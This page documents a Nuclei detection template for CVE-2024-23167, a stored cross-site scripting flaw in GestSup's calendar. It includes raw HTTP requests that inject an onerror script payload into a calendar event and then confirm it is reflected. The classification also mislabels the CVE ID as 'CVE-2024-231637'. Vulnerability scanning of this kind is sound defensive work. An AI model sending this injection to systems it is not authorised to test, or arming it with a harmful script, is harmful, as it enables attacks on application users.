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GestSup - Cross-Site Scripting

ID: CVE-2024-23167

Severity: high

Author: eeche,chae1xx1os,persona-twotwo,soonghee2,gy741

Tags: cve2024,cve,xss,gestsup

Description

Section titled “Description”

GestSup allows its users to add events to the calendar of all users. This is the HTTP request sent when a user adds an event to their calendar.

YAML Source

Section titled “YAML Source”
id: CVE-2024-23167


info:
  name: GestSup - Cross-Site Scripting
  author: eeche,chae1xx1os,persona-twotwo,soonghee2,gy741
  severity: high
  description: |
    GestSup allows its users to add events to the calendar of all users. This is the HTTP request sent when a user adds an event to their calendar.
  impact: |
    This vulnerability could allow unauthenticated attackers to compromise users accessing the Calendar feature of the application.
  remediation: |
    Apply security patches, validate and sanitize inputs to prevent XSS, and ensure proper authentication. Prevent JavaScript execution in the calendar.php file.
  reference:
    - https://www.synacktiv.com/advisories/multiple-vulnerabilities-on-gestsup-3244
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-23167
    - https://doc.gestsup.fr/install/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
    cvss-score: 8.6
    cve-id: CVE-2024-231637
  metadata:
    max-request: 3
    vendor: gestsup
    product: gestsup
  tags: cve2024,cve,xss,gestsup


variables:
  formatted_date: "{{date_time('2006/01/02')}}"


flow: http(1) && http(2)


http:
  - raw:
      - |
        POST /ajax/calendar.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest


        action=add_event&title=<img/src/onerror=alert(document.domain)>&start={{formatted_date}} 07:30:00&end={{formatted_date}} 23:00:00&allday=false&technician=1


    matchers:
      - type: word
        part: response
        words:
          - '{"event_id":"'
          - 'text/html'
        condition: and
        internal: true


  - raw:
      - |
        POST /index.php HTTP/2
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        login={{username}}&pass={{password}}&submit=submit


      - |
        GET /index.php?page=calendar HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'view=activity'
          - '?page=calendar'
          - '<img/src/onerror=alert(document.domain)>'
        condition: and


      - type: word
        part: header
        words:
          - text/html
# digest: 4a0a0047304502203e21190b9d4cec0f5916adc0717d424ccdeb513979d05710c448cd0eabb23c1d02210084c42767680f2ddce77a6e01a9d5c2f532c3d5991d027cc45b6cc79e3916ae6d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-23167.yaml"

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